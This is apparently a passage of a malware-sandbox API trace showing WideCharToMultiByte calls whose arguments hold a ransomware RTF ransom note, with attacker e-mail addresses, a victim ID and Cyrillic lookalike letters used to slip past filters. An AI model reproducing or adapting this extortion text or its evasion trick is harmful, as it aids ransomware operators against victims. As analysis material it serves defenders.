t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t 